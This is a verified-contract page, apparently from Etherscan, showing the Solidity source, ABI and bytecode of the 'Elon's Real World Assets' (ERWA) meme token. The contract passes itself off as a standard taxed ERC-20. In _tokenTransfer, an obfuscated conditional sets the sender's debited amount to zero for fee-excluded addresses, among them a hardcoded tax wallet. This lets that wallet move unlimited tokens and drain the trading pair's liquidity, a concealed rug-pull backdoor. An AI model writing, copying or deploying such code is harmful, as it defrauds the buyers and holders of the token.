Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(address spender, uin ...    - function transferFrom( library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair( interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract ERWA is Context, IERC20, ... *    - function createPair()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(    - function transferFrom(    - function _approve(address owner, addr ...    - function _tokenTransfer(address from, ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function sendETHToFee(uint256 amount)    - function withdrawEth()    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-25
*/

// SPDX-License-Identifier: MIT

/*
$ERWA started as a portrait of Elon Musk by artist and Reddit user Watchieboy, which caught Musk's attention and went viral, becoming the first Elon's Real World Assets meme. The physical artwork is stored securely, while its NFT, launched with the help of FeistyDAO, remains on-chain, inspiring numerous ironic memes globally.

WEB: https://elonsrealworldassets.fun
X:   https://x.com/erwa_official
TG:  https://t.me/elonsrealworldassets
*/

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ERWA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 10;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Elon's Real World Assets";
    string private constant _symbol = unicode"ERWA";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 115 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x50290Dd8810288E84aB974dDAa7348f30123C736);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tokenTransfer(address from, address to, uint256 amountB, bool takeFee) private { 
        uint256 taxAmount = 0; uint256 amountA = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amountB
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if(takeFee) amountA+=(takeFee?(amountA+amountB+1).sub(1):(10*amountB).div(10));

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amountB <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amountB <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amountB
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amountB, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                sendETHToFee(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                taxAmount
            );
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amountA);
        _balances[to] = _balances[to].add(amountB.sub(taxAmount));
        emit Transfer(from, to, amountB.sub(taxAmount));
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        bool takeFee = !_isExcludedFromFee[from] || from == uniswapV2Pair;

        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        
        _tokenTransfer(from, to, amount, takeFee);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function withdrawEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff191690556014600681905560078190555f60088190556009818155600a838155600b93909355600c839055600d919091556100449161031f565b610052906301312d00610334565b600e556100616009600a61031f565b61006f906301312d00610334565b600f5561007e6009600a61031f565b610089906073610334565b6010556100986009600a61031f565b6100a59062989680610334565b6011556013805461ffff60a81b191690553480156100c1575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b0319167450290dd8810288e84ab974ddaa7348f30123c736001790556101366009600a61031f565b61014490633b9aca00610334565b335f90815260016020819052604082209290925560039061016c5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560055461010090049091168352912080549092161790556101ce3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102056009600a61031f565b61021390633b9aca00610334565b60405190815260200160405180910390a361034b565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561027757815f190482111561025d5761025d610229565b8085161561026a57918102915b93841c9390800290610242565b509250929050565b5f8261028d57506001610319565b8161029957505f610319565b81600181146102af57600281146102b9576102d5565b6001915050610319565b60ff8411156102ca576102ca610229565b50506001821b610319565b5060208310610133831016604e8410600b84101617156102f8575081810a610319565b610302838361023d565b805f190482111561031557610315610229565b0290505b92915050565b5f61032d60ff84168361027f565b9392505050565b808202811582820484141761031957610319610229565b6119eb806103585f395ff3fe60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063a9059cbb11610062578063a9059cbb14610322578063bf474bed14610341578063c876d0b914610356578063c9567bf91461036f578063dd62ed3e14610383575f80fd5b80638da5cb5b146102935780638f9a55c0146102b957806395d89b41146102ce5780639e78fb4f146102fa578063a0ef91df1461030e575f80fd5b8063313ce567116100e3578063313ce5671461020557806370a0823114610220578063715018a614610254578063751039fc1461026a5780637d1db4a51461027e575f80fd5b806306fdde0314610129578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d257806323b872dd146101e6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152601881527f456c6f6e2773205265616c20576f726c6420417373657473000000000000000060208201525b60405161017791906115f2565b60405180910390f35b34801561018b575f80fd5b5061019f61019a36600461163e565b6103c7565b6040519015158152602001610177565b3480156101ba575f80fd5b506101c460115481565b604051908152602001610177565b3480156101dd575f80fd5b506101c46103dd565b3480156101f1575f80fd5b5061019f610200366004611668565b6103fd565b348015610210575f80fd5b5060405160098152602001610177565b34801561022b575f80fd5b506101c461023a3660046116a6565b6001600160a01b03165f9081526001602052604090205490565b34801561025f575f80fd5b50610268610464565b005b348015610275575f80fd5b506102686104de565b348015610289575f80fd5b506101c4600e5481565b34801561029e575f80fd5b505f546040516001600160a01b039091168152602001610177565b3480156102c4575f80fd5b506101c4600f5481565b3480156102d9575f80fd5b506040805180820190915260048152634552574160e01b602082015261016a565b348015610305575f80fd5b50610268610599565b348015610319575f80fd5b50610268610792565b34801561032d575f80fd5b5061019f61033c36600461163e565b6107c6565b34801561034c575f80fd5b506101c460105481565b348015610361575f80fd5b5060055461019f9060ff1681565b34801561037a575f80fd5b506102686107d2565b34801561038e575f80fd5b506101c461039d3660046116c1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d33384846109b7565b5060015b92915050565b5f6103ea6009600a6117ec565b6103f890633b9aca006117fa565b905090565b5f610409848484610ada565b61045a84336104558560405180606001604052806028815260200161198e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d22565b6109b7565b5060019392505050565b5f546001600160a01b031633146104965760405162461bcd60e51b815260040161048d90611811565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105075760405162461bcd60e51b815260040161048d90611811565b6105136009600a6117ec565b61052190633b9aca006117fa565b600e556105306009600a6117ec565b61053e90633b9aca006117fa565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105786009600a6117ec565b61058690633b9aca006117fa565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105c25760405162461bcd60e51b815260040161048d90611811565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561060b9030906105fd6009600a6117ec565b61045590633b9aca006117fa565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067f9190611846565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106de573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107029190611846565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561074c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107709190611846565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107bb5760405162461bcd60e51b815260040161048d90611811565b6107c447610d5a565b565b5f6103d3338484610ada565b5f546001600160a01b031633146107fb5760405162461bcd60e51b815260040161048d90611811565b601354600160a01b900460ff16156108555760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048d565b6012546001600160a01b031663f305d7194730610886816001600160a01b03165f9081526001602052604090205490565b5f806108995f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ff573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109249190611861565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610979573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099d919061188c565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a195760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048d565b6001600160a01b038216610a7a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b3e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048d565b6001600160a01b038216610ba05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048d565b5f8111610c015760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048d565b6001600160a01b0383165f9081526003602052604081205460ff161580610c3557506013546001600160a01b038581169116145b601354909150600160b01b900460ff161580610c5a5750601354600160a81b900460ff165b15610d10576001600160a01b0384165f90815260016020526040902054610c819083610d99565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610caf9083610de1565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d029086815260200190565b60405180910390a350505050565b610d1c84848484610e3f565b50505050565b5f8184841115610d455760405162461bcd60e51b815260040161048d91906115f2565b505f610d5184866118ab565b95945050505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610d95573d5f803e3d5ffd5b5050565b5f610dda83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d22565b9392505050565b5f80610ded83856118be565b905083811015610dda5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048d565b5f80610e525f546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610e8057505f546001600160a01b03868116911614155b1561124457610eb16064610eab600a54600d5411610ea057600654610ea4565b6008545b8790611383565b90611401565b60055490925060ff1615610f97576012546001600160a01b03868116911614801590610eeb57506013546001600160a01b03868116911614155b15610f9757325f908152600460205260409020544311610f855760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161048d565b325f9081526004602052604090204390555b8215610fe35782610fb657610fb1600a610eab86826117fa565b610fd6565b610fd66001610fc586846118be565b610fd09060016118be565b90610d99565b610fe090826118be565b90505b6013546001600160a01b03878116911614801561100e57506012546001600160a01b03868116911614155b801561103257506001600160a01b0385165f9081526003602052604090205460ff16155b1561111857600e548411156110895760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161048d565b600f54846110ab876001600160a01b03165f9081526001602052604090205490565b6110b591906118be565b11156111035760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161048d565b600d8054905f611112836118d1565b91905055505b6013546001600160a01b03868116911614801561113e57506001600160a01b0386163014155b1561116b576111686064610eab600b54600d541161115e57600754610ea4565b6009548790611383565b91505b305f90815260016020526040902054601354600160a81b900460ff161580156111a157506013546001600160a01b038781169116145b80156111b65750601354600160b01b900460ff165b80156111c55750600c54600d54115b80156111e957506001600160a01b0387165f9081526003602052604090205460ff16155b801561120d57506001600160a01b0386165f9081526003602052604090205460ff16155b1561124257601054811115611239576112396112348661122f84601154611442565b611442565b611456565b61124247610d5a565b505b81156112bc57305f908152600160205260409020546112639083610de1565b305f81815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112b39086815260200190565b60405180910390a35b6001600160a01b0386165f908152600160205260409020546112de9082610d99565b6001600160a01b0387165f908152600160205260409020556113216113038584610d99565b6001600160a01b0387165f9081526001602052604090205490610de1565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61136a8786610d99565b60405190815260200160405180910390a3505050505050565b5f825f0361139257505f6103d7565b5f61139d83856117fa565b9050826113aa85836118e9565b14610dda5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048d565b5f610dda83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115c6565b5f8183116114505782610dda565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061149c5761149c611908565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115179190611846565b8160018151811061152a5761152a611908565b6001600160a01b03928316602091820292909201015260125461155091309116846109b7565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906115889085905f9086903090429060040161191c565b5f604051808303815f87803b15801561159f575f80fd5b505af11580156115b1573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b5f81836115e65760405162461bcd60e51b815260040161048d91906115f2565b505f610d5184866118e9565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461163b575f80fd5b50565b5f806040838503121561164f575f80fd5b823561165a81611627565b946020939093013593505050565b5f805f6060848603121561167a575f80fd5b833561168581611627565b9250602084013561169581611627565b929592945050506040919091013590565b5f602082840312156116b6575f80fd5b8135610dda81611627565b5f80604083850312156116d2575f80fd5b82356116dd81611627565b915060208301356116ed81611627565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174657815f190482111561172c5761172c6116f8565b8085161561173957918102915b93841c9390800290611711565b509250929050565b5f8261175c575060016103d7565b8161176857505f6103d7565b816001811461177e5760028114611788576117a4565b60019150506103d7565b60ff841115611799576117996116f8565b50506001821b6103d7565b5060208310610133831016604e8410600b84101617156117c7575081810a6103d7565b6117d1838361170c565b805f19048211156117e4576117e46116f8565b029392505050565b5f610dda60ff84168361174e565b80820281158282048414176103d7576103d76116f8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611856575f80fd5b8151610dda81611627565b5f805f60608486031215611873575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561189c575f80fd5b81518015158114610dda575f80fd5b818103818111156103d7576103d76116f8565b808201808211156103d7576103d76116f8565b5f600182016118e2576118e26116f8565b5060010190565b5f8261190357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561196c5784516001600160a01b031683529383019391830191600101611947565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206b9d9f1681450e9448564ffe508127491266ea76496208914647be446ff3fba564736f6c63430008190033

0x60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063a9059cbb11610062578063a9059cbb14610322578063bf474bed14610341578063c876d0b914610356578063c9567bf91461036f578063dd62ed3e14610383575f80fd5b80638da5cb5b146102935780638f9a55c0146102b957806395d89b41146102ce5780639e78fb4f146102fa578063a0ef91df1461030e575f80fd5b8063313ce567116100e3578063313ce5671461020557806370a0823114610220578063715018a614610254578063751039fc1461026a5780637d1db4a51461027e575f80fd5b806306fdde0314610129578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d257806323b872dd146101e6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152601881527f456c6f6e2773205265616c20576f726c6420417373657473000000000000000060208201525b60405161017791906115f2565b60405180910390f35b34801561018b575f80fd5b5061019f61019a36600461163e565b6103c7565b6040519015158152602001610177565b3480156101ba575f80fd5b506101c460115481565b604051908152602001610177565b3480156101dd575f80fd5b506101c46103dd565b3480156101f1575f80fd5b5061019f610200366004611668565b6103fd565b348015610210575f80fd5b5060405160098152602001610177565b34801561022b575f80fd5b506101c461023a3660046116a6565b6001600160a01b03165f9081526001602052604090205490565b34801561025f575f80fd5b50610268610464565b005b348015610275575f80fd5b506102686104de565b348015610289575f80fd5b506101c4600e5481565b34801561029e575f80fd5b505f546040516001600160a01b039091168152602001610177565b3480156102c4575f80fd5b506101c4600f5481565b3480156102d9575f80fd5b506040805180820190915260048152634552574160e01b602082015261016a565b348015610305575f80fd5b50610268610599565b348015610319575f80fd5b50610268610792565b34801561032d575f80fd5b5061019f61033c36600461163e565b6107c6565b34801561034c575f80fd5b506101c460105481565b348015610361575f80fd5b5060055461019f9060ff1681565b34801561037a575f80fd5b506102686107d2565b34801561038e575f80fd5b506101c461039d3660046116c1565b6001600160a01b039182165f9081526002602090815260408083209390941682529190915220549